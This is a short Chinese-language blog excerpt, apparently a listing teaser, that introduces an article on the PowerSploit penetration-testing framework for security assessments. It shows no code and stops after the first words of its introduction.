    本文將重點介紹Powersploit,並給出相關的完整的代碼示例,幫助安全人員更好地運用Powersploit進行安全評估和滲透測試。 一、Powersploit簡介 Powers…

    編程 2025-04-28

發表回復

登錄後才能評論